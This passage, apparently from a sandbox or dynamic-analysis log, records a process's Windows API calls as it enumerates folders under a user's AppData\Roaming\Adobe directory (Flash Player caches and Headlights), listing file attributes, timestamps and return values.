ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.631] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0197.631] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0197.631] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0197.631] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0197.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.631] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0197.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.632] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0197.632] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b278 [0197.632] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.632] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0197.632] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0197.632] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 0 [0197.632] FindClose (in: hFindFile=0x139b278 | out: hFindFile=0x139b278) returned 1 [0197.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0197.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff034) returned 1 [0197.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff00c) returned 1 [0197.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x12feac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x32 [0197.633] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x12fed34 | out: lpFindFileData=0x12fed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0197.633] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.633] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0197.633] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache", cAlternateFileName="NATIVE~1")) returned 1 [0197.633] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed40 | out: lpFindFileData=0x12fed40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.633] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0197.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc8) returned 1 [0197.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefd4) returned 1 [0197.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0197.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x12feab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0197.634] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.634] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.634] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0197.634] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 0 [0197.636] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x12fea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x3d [0197.636] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.636] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5380e4e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.636] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZD37Y5", cAlternateFileName="")) returned 1 [0197.636] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.637] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0197.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", lpFilePart=0x0) returned 0x46 [0197.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", nBufferLength=0x105, lpBuffer=0x12fea40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", lpFilePart=0x0) returned 0x46 [0197.637] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0197.637] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.637] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0197.638] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0197.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0197.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x12feab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0197.638] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.638] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.638] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0197.639] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.639] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0197.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x12fea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0197.639] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0197.639] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.639] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0197.640] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 0 [0197.640] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0197.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.640] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x12feb54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0197.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff06c) returned 1 [0197.640] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x12feb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0197.640] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0197.640] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.641] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12feda0 | out: lpFindFileData=0x12feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, 